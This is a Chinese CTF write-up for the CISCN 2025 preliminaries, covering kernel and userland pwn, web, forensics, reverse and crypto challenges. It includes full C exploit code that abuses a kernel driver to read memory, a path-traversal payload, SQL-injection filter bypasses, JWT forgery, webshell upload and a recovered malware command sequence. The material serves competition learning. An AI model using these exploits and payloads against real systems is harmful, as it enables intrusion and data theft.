-
-
[原创]CISCN-2025-初赛writeup NPUSEC
-
发表于: 5天前 2151
-
程序给了一个babydev.ko文件和eatFlag文件,一般来说babydev.ko文件就是存在漏洞的模块,查看init文件,发现将/proc/kallsyms拷贝到/tmp/coresysms.txt中,而且执行了/home/eatFlag文件

结合模拟之后的环境没有flag,但是解压缩文件系统之后是存在flag的,猜测是这个/home/eatFlag程序给flag删除了,这里先不管,先去逆向babydev.ko文件中的dev_ioctl函数:
程序主要有五个分支来处理用户不同的请求
0x83170401:返回当前进程的PID
0x83170402:获取当前进程名(comm)
0x83170403:获取当前缓冲区剩余空间
0x83170404:获取当前缓冲区有效长度
0x83170405:获取 global_buf 内核地址(用于KASLR 绕过)
可以通过下面的exp.c来测试功能:

现的是字符设备的 seek(定位)操作,也就是用户态调用:lseek(fd, offset, SEEK_SET / SEEK_CUR / SEEK_END);
他根据 whence(n2)决定新的文件指针:SEEK_SET (0):从头开始,SEEK_CUR (1):从当前偏移开始,SEEK_END (2):从文件末尾开始,最终实现计算当前“文件大小”:
实现的是标准的 read() 行为:将数据从内核缓冲区拷贝到用户态:
实现向一块 64KB 缓冲区写数据。这里的缓冲区位置有用户设置,但是注意到这里能够实现对global_buf + 0x10008)这里存储的数值的增大,最终相当于实现了global_buf大小虚拟扩大

逆向eatFlag文件得到这个程序会将/flag文件内容读取到自己的堆内存中,之后删除flag文件:

由于一开始 eatFlag 把 /flag 读入过内存,那么在一段时间内,flag 的字节就一定真实存在于某些物理内存页中,结合上面的dev_write能扩大这里的global_buf的空间,所以我们直接爆搜内存去找flag就好,注意这里大概率不存在,得多试几次
脚本如下:
这道题目给了两个附件

但是proxy直接IDA打开很显然是让人一头雾水,于是丢给了队伍的re手,给程序脱了个壳,脱壳后逆向如图。

这道题目附件的大致用法:用户 → proxy → server
proxy:是一个前端代理/网关,进行流量转发,但在信息的转发过程中可能会有一些加密。
server:是一个后端服务,存在漏洞(如栈溢出、堆漏洞等)。
所以在连接远程时,用户只能给proxy发送信息,经过proxy的转发才可以和server进行交互。我们要首先弄清楚proxy内部的逻辑!
我认为这个函数是关键性函数

这个函数内部的大致框架如下
也就是说proxy有四种情况:
关键函数中然后发现了程序会从config.txt中读取内容,解析其中的配置参数(n= 和 d=),并将解析出的十六进制数值存储到全局变量中。


其中qword_7240 = strtoull(s1 + 2, 0, 16); // 将后面的字符串转为16进制数
qword_7240存储n
qword_7248 = strtoull(s1 + 2, 0, 16); // 同样转为16进制数
qword_7248存储d
接着看到了个感觉像是给信息加密的函数

加密过程中利用了config.txt文件中的n和d,但是,这个config.txt文件在远端,我们不知道n和d,也就是说这个加密过程我们是不可观测的,所以传给server的信息流我们是不可预见的。
针对这个问题,有两种方法可以解决:
1.泄露远程的config.txt文件,精心对即将发送的信息流进行提前操作,使得发送过去的数据流是可控的。
2.覆盖远程的config.txt文件,使得之后每次的信息流加密操作形同虚设。
这两种方法我们显然选择后者。所以我们现在要寻找这个程序有没有对config.txt写入什么东西。翻找IDA时很容易看到这个函数:


这里把src的内容放进了config.txt文件中,我们进而可以控制config.txt
控制代码:
这样运行过后config.txt里的内容就成了

在这个中,RSA解密挑战码,验证是否为"hack"的哈希,通过则返回cookie。
相关脚本代码
前32字节是cookie,后面是转发数据,需要验证cookie。
相关脚本代码
关键函数在此

进去看一下

但是我们进入backdoor中没啥用,有栈溢出但是没啥用,我们libcaddr没有。并且很明显看见下面有一个堆的增删改查,所以显然我们要先利用堆来泄露信息。
这里还有一个用户名检查

asc_5010是检查标准,但是strcmp会遇到\x00结束,所以我们实际上只需要爆破三个字节的哈希值就可以了!爆破完得到用户名,然后经过一些简单逆向,分析出与server的交互格式


交互格式如下
但是,聪明的你也知道,这只是和server的交互格式,中间还需要经过proxy的检查,所以最终发送消息的格式为:
接下来就是对于2.31堆的简单泄露heapbase和libcbase,泄露结束之后,可以利用backdoor()中的栈溢出直接打rop链就好了,建议直接orw写出来,因为拿shell实际上是server被打,但咱们是接触不到的。
但有一点要注意以下,就是read和write的fd,因为这道题目涉及到许多文件的打开与关闭以及多个终端连接,所以fd并不是寻常值,具体可以通过调试之前的调用过的read、write函数的fd来判断。
本地测试

脚本如下:
直接进入正题,这个题没开PIE,libc为2.31,可以找到大部分需要的gadget


禁用了execve和execveat


在sub_402D2D函数为一个路由注册结构,扫一眼,主要看setmode就行,里面有sub_402A40函数

发现在切割拷贝输入的内容时能触发栈溢出,“=”前部分会检查是否为setmode,但是后半部分能拷贝覆盖栈。

把客户端 socket fd 存进去,然后开启线程

start_routine 是一个 多线程 HTTP 服务器中处理单个客户端连接的****主函数。内容比较多,只看主要部分:
接收并解析 HTTP 请求(方法、路径、Header、Body)
路由分发:GET → 静态文件服务;POST → 调用注册的 handler(如 /hello, /setmode)



sub_40287D(haystack, "POST"):在路由表中查找匹配的 handler。
调用约定:handler(fd, body, body_len)
在这里会调用setmode
在上面GET方法里面有一个sub_402663函数,这个函数没有限制路径,只需要控制rdi和rsi就可以控制该函数输出我们想要的flag

尝试用一个线程,按照格式输入,覆盖返回地址,利用recv写入/flag字符串和后续rop,利用recv后面leave ret控制执行流到getflag,会发现程序卡死在snprintf里面

vmmap一下,应该是地址不可写

于是修改填入的bss区域(调试发现卡在f栈没对齐,稍微修改即可),得到下面exp
由于线程的特点,多个线程共用一个栈和bss等等,所以思路就是先用一个线程去写入/flag字符串,同时保持线程不崩溃,使得程序正常维持,这里使用再次回到recv等待接收的方法,等待我连接开启第二个线程,使用第一个线程写入的/flag字符串调用sub_402663函数,输出flag即可。
先运行下面准备接收脚本
再运行下面输出flag脚本
过滤了很多东西,但根据提示估计就是一个sql注入绕过
1'|| true是可以返回正确结果的,大胆猜测布尔盲注
防火墙 估计就是过滤了关键词,可以用mysql内敛特性绕过,例如 /*!50000KEYWORD*/,这里面可以被当成正常命令执行,其他的就是传统的布尔盲注就行了
新注册一个账号,进入feedback路由可看到其进行了数据库操作
可插入')--进行闭合与注入操作。我们尝试从users表下注出password列的第一条数据(即admin的密码)
布尔盲注出admin密码为qCYE7LtfJZId,登陆后我们可查看system.log,其中有JWT校验用公钥

拿到公钥后,我们使用公钥重新加密JWT结构体,因为其代码中同时支持HS256和RS256
拿到伪造的JWT后我们重新进入路由,checkfile路由现在可利用了,但是存在后缀检测与路径穿越过滤,我们需要考虑绕过其限制读取到flag文件
payload为/checkfile?file=../../&file=../../&file=../../&file=../../&file=../../&file=../../&file=../../&file=../../&file=../../&file=../../../../../../../../flag.txt&file=.&file=log,因为构造file为数组后能绕过includes限制,通过slice对每个元素做切割后拼接reslove即可索引到flag文件。

开启靶机观察界面,知为Next.js

考虑到近期的React CVSS 10.0漏洞,我们翻出React2Shell EXP尝试扫描检测
ba4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6Z5j5h3y4C8k6i4u0K6j5i4c8&6j5h3#2J5j5i4y4@1L8$3N6A6i4K6u0r3M7X3g2S2j5%4b7J5M7$3S2W2L8r3I4Q4x3X3c8#2L8s2c8A6L8h3q4@1k6b7`.`.
扫描发现报vulnerable,直接获取shell拿下

简单的反序列化

链子串起来后file协议读取/flag即可

弱密码admin/admin123登陆进去
题目提示是java,然后看到模板渲染,想到thymeleaf的spel注入
环境变量很好读,但是不知道flag叫什么(提示在根目录下)
File类可以反射调用,但是不能直接命令执行,可以用listRoots把目录文件列出来得到
flag
百度搜dedecms的漏洞,很多都只向后台/dede/login.php,但是不知道用户名密码
我们随便注册一个进去

试了很多 Aa123456789/Aa123456789 成了
进入后台

缩略图这里有个本地文件上传
这里传上去之后改后缀为php,然后输入一句话木马,把删了拼接后面的目录就能拿到flag

获得flag
过滤HTTP协议,找最后一个POST请求login界面:

flag{zxcvbnm123}
也是过滤http的POST请求,后面看到{{7*7}}与{{config}}操作,追踪流就能看到


flag{c6242af0-6891-4510-8432-e1cdf051f160}

分析前面SSTI的内容,这一段大体意思是,
{{ url_for.globals['builtins']['exec'](
"import base64; exec(base64.b64decode('...第一段base64...'))",
{...}
)}}
用Jinja的对象链拿到python的exec,但是里面有字符串取反然后base64解码,然后zlib解压。后面很多层嵌套;拿代码还原,直到出现明文

flag{v1p3r_5tr1k3_k3y}
用之前的RC4代码与密钥进行解密后面传输过来的data字段可以看到是在执行指令

unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13
所以实体文件的名字就是
flag{python3.13}
导出压缩包

逆向分析确定黑客通信的ip与端口ip.addr==192.168.1.201 && tcp.port==58782
找开始通信时的SM4交换的种子

34 95 20 46

通过ida分析可知秘钥为从C2发来的 4 字节进行随机种子生成,编写脚本求得flag
flag{f71d894505e855068da9b6397ebb2b70}
题目为godot编写的2D游戏,用专门软件dgre进行反编译
软件链接:gdsdecomp:Godot reverse engineering tools - AtomGit | GitCode
找到脚本文件先点进flag.gdc查看,很清晰的AES加密,但题目不会这么简单,同时提示说要吃掉所有金币才可以验证flag,那我们继续查看coin.gdc看看金币干了啥

很明显调用了game_manager来触发加分机制,此时再去看game_manager.gdc

很清晰,1分的时候把flag函数中的key中A改成B,解AES得到flag


一道很纯的web逆向题,打开html文件找调用关系,发现在检测端是将data序列化之后,通过MD5加密,并且检验前16字节是否一致来判断是否正确,那现在问题就是找data是啥了

之前从没做过web逆向,仔细了解了一下wasm汇编发现js会向其中import传入数据同时要通过export传出数据回到js才可以完成调用链,此时随便输入账号密码就可查看release.js函数的关键传入传出函数,可以清晰的看到传入函数传入data.now函数即题目说到的时间戳

通过软件ghidra(需下载插件ghidra_wasm)可以直接将web汇编转为可阅读文本,此时可以找到我们前面提到加密data的authenticate函数,发现真正逻辑藏在function_34中,点进函数查看

结构一目了然了,31-47行对密码进行base64处理之后引入时间戳并转换成字符串之后对massage进行处理,处理结果为:message = {"username":…, "password": encodedPassword}然后下面是加密点,进行SHA256加密并存在signature,signature = HMAC-SHA256( message, timestamp(参与计算) ) 并转成可打印字符串,最后返回final = {"username":..., "password":..., "signature":...}
那现在就是找到"username" "password"并对时间戳进行爆破(题目中给出时间为2025.12.21之后一周)账号密码就在271行的备注里(一开始没注意能藏这

一切都齐备了直接写脚本爆破即可,这边我写的
依旧web逆向,这次是流量逆向,wireshark查看流量包内容,发现全是TCP可靠传输数据,同时题目中告诉我们kworker向192.168.8.160:13337发起建立连接请求,所以kworker为客户端/木马类型,所以本体主要还是得看流量到底说了些啥再去逆向kworker,因此从流量抓起。
通过阅读流量发现是客户机向服务器发送一系列长度在64字节左右的数据,并且数据格式相当固定,前8位为魔数,后面紧跟一个len来表示最后紧跟的校验位的长度,然后紧跟密文内容,密文后就是校验位,如下如所示详细解释

客户机发的第一段数据中可以看到,TCP协议规定前8位为ET3RNUMX为固定魔数,后面跟的0X34=52表示payload有52字节长,刚好与后面内容吻合信息内容确定,现在需要看kworker到底给服务端发了什么

第一个思路,看IDA中字符找到关键点(比赛时用的),发现在字符串中找到这么一行文本

题目中说的是AES-GCM加密,根据AES-GCM的特点,密文组成为12 nonce +密文+ 16 tag,其中tag位为校验位,我们正好可以利用这一点,将原文本转为二进制文件对key进行爆破,爆破成功与否只需要在手动做一次与tag的校验即可,由于16位的长度足够,理论上只要tag相同就可以确定爆破的key成功了,这时可以直接爆破了
先挂起一个跟题目条件一样的服务,方便后续kworker去连接

启动kworker去连接这个服务,也就是通过这个服务我们可以在内存中找到kworker运行时派生出的key,将所有信息以二进制形式打印出来存到memdump_all.bin中,运行脚本爆破出key,有了key我们就可以得到flag了


题目中已经告诉我们私钥是sha512(b"Welcome to this challenge!").digest(),那直接写脚本出就行了,我这边每调用ecdsa库,调用库函数可以更简单一些
本来以为是逆向题,结果放到ida里动调直接跑死了,读了一下代码发现是斐波那契数列,同时题目给上了一个sleep函数,第一种方法直接修改源文件,可以在原计数器上加上一个mod24(因为斐波那契数列mod16的周期为24),也可以写脚本(更简单一点)


flag{10632674-1d219-09f29-147a2-760632674}
这个rsa还蛮有趣的,题目中给出了两个n的求值,分别为n=p*q*r*s;n1=p1*q1*r1*s1。本体突破口在于给出的平滑函数中,读题是做了相关笔记如下,由于求n的相关系数减1都会变为合数,而且合数的相关系数是p-1=p1*(2^1-2^20)所构成的一系列数,因此可以利用Pollard's p-1分解算法来求,虽然p1不是平滑数,但是p1是n1的因数,那么只需要多加个gcd即可爆破出p1的值,同理其他值也可爆破得出

__int64 __fastcall dev_ioctl(__int64 a1, unsigned int a2, __int64 a3){ const char *v4; // rax const void *src; // r12 size_t v7; // rax _QWORD dest[2]; // [rsp+0h] [rbp-40h] BYREF __int64 v9; // [rsp+10h] [rbp-30h] __int64 v10; // [rsp+18h] [rbp-28h] __int64 global_buf_stack; // [rsp+20h] [rbp-20h] unsigned __int64 v12; // [rsp+28h] [rbp-18h] v12 = __readgsqword(0x28u); dest[0] = 0; v4 = *(const char **)(a1 + 200); dest[1] = 0; v9 = 0; v10 = 0; global_buf_stack = 0; if ( a2 == 0x83170403 ) { HIDWORD(v9) = 0x10000 - *(_DWORD *)(global_buf + 0x10008); return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } if ( a2 <= 0x83170403 ) { if ( a2 == 0x83170401 ) { LODWORD(dest[0]) = *(_DWORD *)v4; return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } if ( a2 == 0x83170402 ) { src = v4 + 4; v7 = strlen(v4 + 4); memcpy((char *)dest + 4, src, v7 + 1); return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } } else { if ( a2 == 0x83170404 ) { LODWORD(v10) = *(_QWORD *)(global_buf + 65544) - *(_DWORD *)(global_buf + 0x10000); return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } if ( a2 == 0x83170405 ) { global_buf_stack = global_buf; return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } } return -22;}__int64 __fastcall dev_ioctl(__int64 a1, unsigned int a2, __int64 a3){ const char *v4; // rax const void *src; // r12 size_t v7; // rax _QWORD dest[2]; // [rsp+0h] [rbp-40h] BYREF __int64 v9; // [rsp+10h] [rbp-30h] __int64 v10; // [rsp+18h] [rbp-28h] __int64 global_buf_stack; // [rsp+20h] [rbp-20h] unsigned __int64 v12; // [rsp+28h] [rbp-18h] v12 = __readgsqword(0x28u); dest[0] = 0; v4 = *(const char **)(a1 + 200); dest[1] = 0; v9 = 0; v10 = 0; global_buf_stack = 0; if ( a2 == 0x83170403 ) { HIDWORD(v9) = 0x10000 - *(_DWORD *)(global_buf + 0x10008); return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } if ( a2 <= 0x83170403 ) { if ( a2 == 0x83170401 ) { LODWORD(dest[0]) = *(_DWORD *)v4; return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } if ( a2 == 0x83170402 ) { src = v4 + 4; v7 = strlen(v4 + 4); memcpy((char *)dest + 4, src, v7 + 1); return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } } else { if ( a2 == 0x83170404 ) { LODWORD(v10) = *(_QWORD *)(global_buf + 65544) - *(_DWORD *)(global_buf + 0x10000); return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } if ( a2 == 0x83170405 ) { global_buf_stack = global_buf; return -(__int64)(copy_to_user(a3, dest, 0x28u) != 0) & 0xFFFFFFFFFFFFFFF2LL; } } return -22;}// gcc exploit.c -static -masm=intel -g -o exploit#include "kpwn.h"struct out { uint64_t dest[5]; };int main() { save_status(); int fd = open("/dev/noc", O_RDWR); if (fd < 0) { log_error("open /dev/noc failed"); return -1; }; struct out buffer; memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170401, &buffer); log_info("ioctl 0x83170401 leak: 0x%lx", (uint32_t)buffer.dest[0]); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170402, &buffer); log_info("ioctl 0x83170402 leak: %s", (char*)(&buffer.dest[0])+4); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170403, &buffer); log_info("ioctl 0x83170403 leak: %lx", (uint32_t)(buffer.dest[2]>>32)); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170404, &buffer); log_info("ioctl 0x83170404 leak: %lx", (uint32_t)buffer.dest[3]); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170405, &buffer); log_info("ioctl 0x83170405 leak: 0x%lx", buffer.dest[4]); return 0;}// gcc exploit.c -static -masm=intel -g -o exploit#include "kpwn.h"struct out { uint64_t dest[5]; };int main() { save_status(); int fd = open("/dev/noc", O_RDWR); if (fd < 0) { log_error("open /dev/noc failed"); return -1; }; struct out buffer; memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170401, &buffer); log_info("ioctl 0x83170401 leak: 0x%lx", (uint32_t)buffer.dest[0]); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170402, &buffer); log_info("ioctl 0x83170402 leak: %s", (char*)(&buffer.dest[0])+4); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170403, &buffer); log_info("ioctl 0x83170403 leak: %lx", (uint32_t)(buffer.dest[2]>>32)); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170404, &buffer); log_info("ioctl 0x83170404 leak: %lx", (uint32_t)buffer.dest[3]); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170405, &buffer); log_info("ioctl 0x83170405 leak: 0x%lx", buffer.dest[4]); return 0;}__int64 __fastcall dev_seek(__int64 a1, __int64 a2, int n2){ __int64 v3; // rax __int64 result; // rax __int64 v5; // r8 v3 = *(_QWORD *)(global_buf + 0x10008) - *(_QWORD *)(global_buf + 0x10000); if ( n2 == 1 ) { v5 = *(_QWORD *)(a1 + 0x40) + a2; if ( v5 < 0 ) return -22; } else { if ( n2 != 2 ) { if ( !n2 && a2 >= 0 && v3 >= a2 ) { v5 = a2; goto LABEL_7; } return -22; } v5 = v3 + a2; if ( v3 + a2 < 0 ) return -22; } if ( v3 < v5 ) return -22;LABEL_7: *(_QWORD *)(a1 + 0x40) = v5; result = v5; *(_QWORD *)(a1 + 0xB8) = 0; return result;}__int64 __fastcall dev_seek(__int64 a1, __int64 a2, int n2){ __int64 v3; // rax __int64 result; // rax __int64 v5; // r8 v3 = *(_QWORD *)(global_buf + 0x10008) - *(_QWORD *)(global_buf + 0x10000); if ( n2 == 1 ) { v5 = *(_QWORD *)(a1 + 0x40) + a2; if ( v5 < 0 ) return -22; } else { if ( n2 != 2 ) { if ( !n2 && a2 >= 0 && v3 >= a2 ) { v5 = a2; goto LABEL_7; } return -22; } v5 = v3 + a2; if ( v3 + a2 < 0 ) return -22; } if ( v3 < v5 ) return -22;LABEL_7: *(_QWORD *)(a1 + 0x40) = v5; result = v5; *(_QWORD *)(a1 + 0xB8) = 0; return result;}__int64 __fastcall dev_read(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4){ __int64 v6; // rcx __int64 v7; // r8 __int64 v8; // rdx __int64 v9; // rax v6 = *a4; v7 = 0; v8 = *(_QWORD *)(global_buf + 0x10000); v9 = *(_QWORD *)(global_buf + 65544) - v8; if ( v6 < v9 ) { if ( v6 + n0x7FFFFFFF > v9 ) n0x7FFFFFFF = v9 - v6; if ( n0x7FFFFFFF > 0x7FFFFFFF ) BUG(); if ( copy_to_user(a2, (_QWORD *)(v6 + v8 + global_buf), n0x7FFFFFFF) ) { return -14; } else { *a4 += n0x7FFFFFFF; return n0x7FFFFFFF; } } return v7;}__int64 __fastcall dev_read(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4){ __int64 v6; // rcx __int64 v7; // r8 __int64 v8; // rdx __int64 v9; // rax v6 = *a4; v7 = 0; v8 = *(_QWORD *)(global_buf + 0x10000); v9 = *(_QWORD *)(global_buf + 65544) - v8; if ( v6 < v9 ) { if ( v6 + n0x7FFFFFFF > v9 ) n0x7FFFFFFF = v9 - v6; if ( n0x7FFFFFFF > 0x7FFFFFFF ) BUG(); if ( copy_to_user(a2, (_QWORD *)(v6 + v8 + global_buf), n0x7FFFFFFF) ) { return -14; } else { *a4 += n0x7FFFFFFF; return n0x7FFFFFFF; } } return v7;}unsigned __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4){ __int64 v4; // rax unsigned __int64 n0x7FFFFFFF_1; // rbx __int64 global_buf; // rax v4 = *a4; n0x7FFFFFFF_1 = n0x7FFFFFFF; if ( *a4 > 0xFFFF && v4 >= *(_QWORD *)(global_buf + 65544) ) return -105; if ( v4 + n0x7FFFFFFF > 0x10000 ) { n0x7FFFFFFF_1 = (unsigned __int16)-*(_WORD *)a4; } else if ( n0x7FFFFFFF > 0x7FFFFFFF ) { BUG(); } if ( copy_from_user(v4 + *(_QWORD *)(global_buf + 0x10000) + global_buf, a2, n0x7FFFFFFF_1) ) return -14; global_buf = global_buf; *a4 += n0x7FFFFFFF_1; *(_QWORD *)(global_buf + 65544) += n0x7FFFFFFF_1; return n0x7FFFFFFF_1;}unsigned __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4){ __int64 v4; // rax unsigned __int64 n0x7FFFFFFF_1; // rbx __int64 global_buf; // rax v4 = *a4; n0x7FFFFFFF_1 = n0x7FFFFFFF; if ( *a4 > 0xFFFF && v4 >= *(_QWORD *)(global_buf + 65544) ) return -105; if ( v4 + n0x7FFFFFFF > 0x10000 ) { n0x7FFFFFFF_1 = (unsigned __int16)-*(_WORD *)a4; } else if ( n0x7FFFFFFF > 0x7FFFFFFF ) { BUG(); } if ( copy_from_user(v4 + *(_QWORD *)(global_buf + 0x10000) + global_buf, a2, n0x7FFFFFFF_1) ) return -14; global_buf = global_buf; *a4 += n0x7FFFFFFF_1; *(_QWORD *)(global_buf + 65544) += n0x7FFFFFFF_1; return n0x7FFFFFFF_1;}// gcc exploit.c -static -masm=intel -g -o exploit//#include "kpwn.h"#include <sys/types.h>#include <stdio.h>#include <pthread.h>#include <errno.h>#include <unistd.h>#include <stdlib.h>#include <fcntl.h>#include <signal.h>#include <poll.h>#include <ctype.h>#include <string.h>#include <stdint.h>#include <sys/mman.h>#include <sys/syscall.h>#include <sys/ioctl.h>#include <sys/sem.h>#include <sys/socket.h>#include <sys/types.h>#include <sys/ipc.h>#include <sys/msg.h>#include <sys/wait.h>#include <semaphore.h>#include <poll.h>#include <sched.h>#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"#define log_success(fmt, ...) \ printf("\033[32m\033[1m[+] " fmt "\033[0m\n", ##__VA_ARGS__)#define log_info(fmt, ...) \ printf("\033[34m\033[1m[*] " fmt "\033[0m\n", ##__VA_ARGS__)#define log_error(fmt, ...) \ printf("\033[31m\033[1m[x] " fmt "\033[0m\n", ##__VA_ARGS__)struct out { uint64_t dest[5]; };unsigned char *findflag(unsigned char *buf, size_t len) { char flag_pattern[] = "flag{"; unsigned char *addr = memmem(buf, len, flag_pattern, 5); if (addr) { for (size_t j = 0; j < 64 && (addr - buf + j) < len; j++) { if (addr[j] == '}') return addr; } } return NULL;}int main() { save_status(); int fd = open("/dev/noc", O_RDWR); if (fd < 0) { log_error("open /dev/noc failed"); return -1; }; struct out buffer; memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170401, &buffer); log_info("ioctl 0x83170401 leak: 0x%lx", (uint32_t)buffer.dest[0]); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170402, &buffer); log_info("ioctl 0x83170402 leak: %s", (char*)(&buffer.dest[0])+4); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170403, &buffer); log_info("ioctl 0x83170403 leak: %lx", (uint32_t)(buffer.dest[2]>>32)); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170404, &buffer); log_info("ioctl 0x83170404 leak: %lx", (uint32_t)buffer.dest[3]); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170405, &buffer); log_info("ioctl 0x83170405 leak: 0x%lx", buffer.dest[4]); char pl[0x10000]; for (int i = 0; i < 2000; i++) { lseek(fd, 0, SEEK_SET); if (write(fd, pl, 0x10000) < 0) { log_error("write failed"); break; } } memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170404, &buffer); log_info("the new length of global_buf is : %lx", (uint32_t)(buffer.dest[3])); uint32_t new_length = (uint32_t)buffer.dest[3]; memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170403, &buffer); log_info("the remaining size of global_buf is : %lx", (uint32_t)(buffer.dest[2]>>32)); uint32_t remaing_size = (uint32_t)(buffer.dest[2]>>32); char buf[4096]; memset(buf, '\x00', 4096); size_t step = 4096; // 开始爆搜 for(size_t offset = 0;offset<new_length;offset+=step){ lseek(fd, offset, SEEK_SET); ssize_t n = read(fd, buf, step); if (n <= 0) { log_error("read failed"); break; } // print_binary(buf, step); char *flag_ptr = findflag((unsigned char *)buf, step); if(flag_ptr) { print_binary(buf,step); log_success("Flag found: %s", flag_ptr); break; } } return 0;}// gcc exploit.c -static -masm=intel -g -o exploit//#include "kpwn.h"#include <sys/types.h>#include <stdio.h>#include <pthread.h>#include <errno.h>#include <unistd.h>#include <stdlib.h>#include <fcntl.h>#include <signal.h>#include <poll.h>#include <ctype.h>#include <string.h>#include <stdint.h>#include <sys/mman.h>#include <sys/syscall.h>#include <sys/ioctl.h>#include <sys/sem.h>#include <sys/socket.h>#include <sys/types.h>#include <sys/ipc.h>#include <sys/msg.h>#include <sys/wait.h>#include <semaphore.h>#include <poll.h>#include <sched.h>#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"#define log_success(fmt, ...) \ printf("\033[32m\033[1m[+] " fmt "\033[0m\n", ##__VA_ARGS__)#define log_info(fmt, ...) \ printf("\033[34m\033[1m[*] " fmt "\033[0m\n", ##__VA_ARGS__)#define log_error(fmt, ...) \ printf("\033[31m\033[1m[x] " fmt "\033[0m\n", ##__VA_ARGS__)struct out { uint64_t dest[5]; };unsigned char *findflag(unsigned char *buf, size_t len) { char flag_pattern[] = "flag{"; unsigned char *addr = memmem(buf, len, flag_pattern, 5); if (addr) { for (size_t j = 0; j < 64 && (addr - buf + j) < len; j++) { if (addr[j] == '}') return addr; } } return NULL;}int main() { save_status(); int fd = open("/dev/noc", O_RDWR); if (fd < 0) { log_error("open /dev/noc failed"); return -1; }; struct out buffer; memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170401, &buffer); log_info("ioctl 0x83170401 leak: 0x%lx", (uint32_t)buffer.dest[0]); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170402, &buffer); log_info("ioctl 0x83170402 leak: %s", (char*)(&buffer.dest[0])+4); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170403, &buffer); log_info("ioctl 0x83170403 leak: %lx", (uint32_t)(buffer.dest[2]>>32)); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170404, &buffer); log_info("ioctl 0x83170404 leak: %lx", (uint32_t)buffer.dest[3]); memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170405, &buffer); log_info("ioctl 0x83170405 leak: 0x%lx", buffer.dest[4]); char pl[0x10000]; for (int i = 0; i < 2000; i++) { lseek(fd, 0, SEEK_SET); if (write(fd, pl, 0x10000) < 0) { log_error("write failed"); break; } } memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170404, &buffer); log_info("the new length of global_buf is : %lx", (uint32_t)(buffer.dest[3])); uint32_t new_length = (uint32_t)buffer.dest[3]; memset(&buffer, 0, sizeof(buffer)); ioctl(fd, 0x83170403, &buffer); log_info("the remaining size of global_buf is : %lx", (uint32_t)(buffer.dest[2]>>32)); uint32_t remaing_size = (uint32_t)(buffer.dest[2]>>32); char buf[4096]; memset(buf, '\x00', 4096); size_t step = 4096; // 开始爆搜 for(size_t offset = 0;offset<new_length;offset+=step){ lseek(fd, offset, SEEK_SET); ssize_t n = read(fd, buf, step); if (n <= 0) { log_error("read failed"); break; } // print_binary(buf, step); char *flag_ptr = findflag((unsigned char *)buf, step); if(flag_ptr) { print_binary(buf,step); log_success("Flag found: %s", flag_ptr); break; } } return 0;}switch ( v11 ){ case 0xFFFF2525: // 认证请求处理break; case 0x7F687985u: // 转发请求处理break; case 0x85856547: // 更新配置处理break; case 0x85856546: // 读取日志处理break; default: p_UNKNOWN_HEADER = "UNKNOWN_HEADER"; // 返回未知头错误break;}switch ( v11 ){ case 0xFFFF2525: // 认证请求处理break; case 0x7F687985u: // 转发请求处理break; case 0x85856547: // 更新配置处理break; case 0x85856546: // 读取日志处理break; default: p_UNKNOWN_HEADER = "UNKNOWN_HEADER"; // 返回未知头错误break;}case 0xFFFF2525: if ( (unsigned int)sub_293A() ) { fwrite("Failed to refresh config\n", 1u, 0x19u, stderr); free(ptr); return 0xFFFFFFFFLL; } if ( size <= 7 || !d || !::n ) goto LABEL_33; netlong_2 = *(_QWORD *)ptr; v27 = 